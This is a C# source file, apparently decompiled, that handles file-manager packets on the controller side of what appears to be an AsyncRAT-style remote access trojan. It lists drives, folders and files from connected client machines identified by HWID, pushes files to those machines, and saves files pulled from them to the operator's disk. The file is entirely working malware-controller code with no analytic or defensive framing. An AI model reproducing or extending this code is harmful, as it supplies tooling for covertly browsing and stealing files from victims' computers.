using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
using Server.Helper;

namespace Server.Handle_Packet;

public class HandleFileManager
{
	public async void FileManager(Clients client, MsgPack unpack_msgpack)
	{
		try
		{
			switch (unpack_msgpack.ForcePathObject("Command").AsString)
			{
			case "setClient":
			{
				FormFileManager formFileManager2 = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
				if (formFileManager2 != null && formFileManager2.Client == null)
				{
					client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
					formFileManager2.Client = client;
					formFileManager2.timer1.Enabled = true;
				}
				break;
			}
			case "getDrivers":
			{
				FormFileManager formFileManager3 = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
				if (formFileManager3 == null)
				{
					break;
				}
				formFileManager3.toolStripStatusLabel1.Text = "";
				formFileManager3.listViewExplorer.Items.Clear();
				string[] array = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new string[1] { "-=>" }, StringSplitOptions.None);
				int num;
				for (num = 0; num < array.Length; num++)
				{
					if (array[num].Length > 0)
					{
						ListViewItem listViewItem = new ListViewItem();
						listViewItem.Text = array[num];
						listViewItem.ToolTipText = array[num];
						if (array[num + 1] == "Fixed")
						{
							listViewItem.ImageIndex = 1;
						}
						else if (array[num + 1] == "Removable")
						{
							listViewItem.ImageIndex = 2;
						}
						else
						{
							listViewItem.ImageIndex = 1;
						}
						formFileManager3.listViewExplorer.Items.Add(listViewItem);
					}
					num++;
				}
				break;
			}
			case "getPath":
			{
				FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
				if (FM != null)
				{
					FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
					if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
					{
						FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
					}
					if (FM.toolStripStatusLabel1.Text.Length == 2)
					{
						FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
					}
					FM.listViewExplorer.BeginUpdate();
					FM.listViewExplorer.Items.Clear();
					FM.imageList1.Images.Clear();
					FM.imageList1.Images.Add("0_folder", Image.FromStream(new MemoryStream(Convert.FromBase64String(" "))));
					FM.listViewExplorer.Groups.Clear();
					FM.toolStripStatusLabel3.Text = "";
					ListViewGroup groupFolder = new ListViewGroup("Folders");
					ListViewGroup groupFile = new ListViewGroup("Files");
					FM.listViewExplorer.Groups.Add(groupFolder);
					FM.listViewExplorer.Groups.Add(groupFile);
					ListView.ListViewItemCollection items = FM.listViewExplorer.Items;
					items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
					items = FM.listViewExplorer.Items;
					items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
					FM.listViewExplorer.Enabled = true;
					FM.listViewExplorer.Focus();
					FM.listViewExplorer.EndUpdate();
					FM.toolStripStatusLabel2.Text = $"       Folder[{FM.listViewExplorer.Groups[0].Items.Count}]   Files[{FM.listViewExplorer.Groups[1].Items.Count}]";
				}
				break;
			}
			case "reqUploadFile":
			{
				FormDownloadFile formDownloadFile = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
				if (formDownloadFile != null)
				{
					formDownloadFile.Client = client;
					formDownloadFile.timer1.Start();
					MsgPack msgPack = new MsgPack();
					msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
					msgPack.ForcePathObject("Command").AsString = "uploadFile";
					msgPack.ForcePathObject("File").LoadFileAsBytes(formDownloadFile.FullFileName);
					msgPack.ForcePathObject("Name").AsString = formDownloadFile.ClientFullFileName;
					ThreadPool.QueueUserWorkItem(formDownloadFile.Send, msgPack.Encode2Bytes());
				}
				break;
			}
			case "error":
			{
				FormFileManager formFileManager = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
				if (formFileManager != null)
				{
					formFileManager.listViewExplorer.Enabled = true;
					formFileManager.toolStripStatusLabel3.ForeColor = Color.Red;
					formFileManager.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString;
				}
				break;
			}
			}
		}
		catch
		{
		}
	}

	public async void SocketDownload(Clients client, MsgPack unpack_msgpack)
	{
		try
		{
			string asString = unpack_msgpack.ForcePathObject("Command").AsString;
			if (!(asString == "pre"))
			{
				if (!(asString == "save"))
				{
					return;
				}
				try
				{
					string asString2 = unpack_msgpack.ForcePathObject("DWID").AsString;
					FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + asString2];
					if (SD != null && Directory.Exists(SD.DirPath))
					{
						string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
						string dirPath = SD.DirPath;
						if (File.Exists(dirPath + "\\" + fileName))
						{
							fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
							await Task.Delay(100);
						}
						await Task.Run(delegate
						{
							SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName);
						});
						SD.Close();
					}
					return;
				}
				catch
				{
					return;
				}
				finally
				{
					GC.Collect();
				}
			}
			string asString3 = unpack_msgpack.ForcePathObject("DWID").AsString;
			string asString4 = unpack_msgpack.ForcePathObject("File").AsString;
			string asString5 = unpack_msgpack.ForcePathObject("Size").AsString;
			FormDownloadFile formDownloadFile = (FormDownloadFile)Application.OpenForms["socketDownload:" + asString3];
			if (formDownloadFile != null)
			{
				formDownloadFile.Client = client;
				formDownloadFile.labelfile.Text = Path.GetFileName(asString4);
				formDownloadFile.FileSize = Convert.ToInt64(asString5);
				formDownloadFile.timer1.Start();
			}
		}
		catch
		{
		}
	}

	private void SaveFileAsync(MsgPack unpack_msgpack, string name)
	{
		unpack_msgpack.SaveBytesToFile(name);
	}

	private List<ListViewItem> GetFolders(MsgPack unpack_msgpack, ListViewGroup listViewGroup)
	{
		string[] array = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new string[1] { "-=>" }, StringSplitOptions.None);
		List<ListViewItem> list = new List<ListViewItem>();
		int num = 0;
		int num2;
		for (num2 = 0; num2 < array.Length; num2++)
		{
			if (array[num2].Length > 0)
			{
				ListViewItem listViewItem = new ListViewItem();
				listViewItem.Text = array[num2];
				listViewItem.ToolTipText = array[num2 + 1];
				listViewItem.Group = listViewGroup;
				listViewItem.ImageIndex = 0;
				list.Add(listViewItem);
				num++;
			}
			num2++;
		}
		return list;
	}

	private List<ListViewItem> GetFiles(MsgPack unpack_msgpack, ListViewGroup listViewGroup, ImageList imageList1)
	{
		string[] _files = unpack_msgpack.ForcePathObject("File").AsString.Split(new string[1] { "-=>" }, StringSplitOptions.None);
		List<ListViewItem> list = new List<ListViewItem>();
		for (int i = 0; i < _files.Length; i++)
		{
			if (_files[i].Length > 0)
			{
				ListViewItem listViewItem = new ListViewItem();
				listViewItem.Text = Path.GetFileName(_files[i]);
				listViewItem.ToolTipText = _files[i + 1];
				Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_files[i + 2])));
				Program.mainform.Invoke((MethodInvoker)delegate
				{
					imageList1.Images.Add(_files[i + 1], im);
				});
				listViewItem.ImageKey = _files[i + 1];
				listViewItem.Group = listViewGroup;
				listViewItem.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_files[i + 3])));
				list.Add(listViewItem);
			}
			i += 3;
		}
		return list;
	}
}
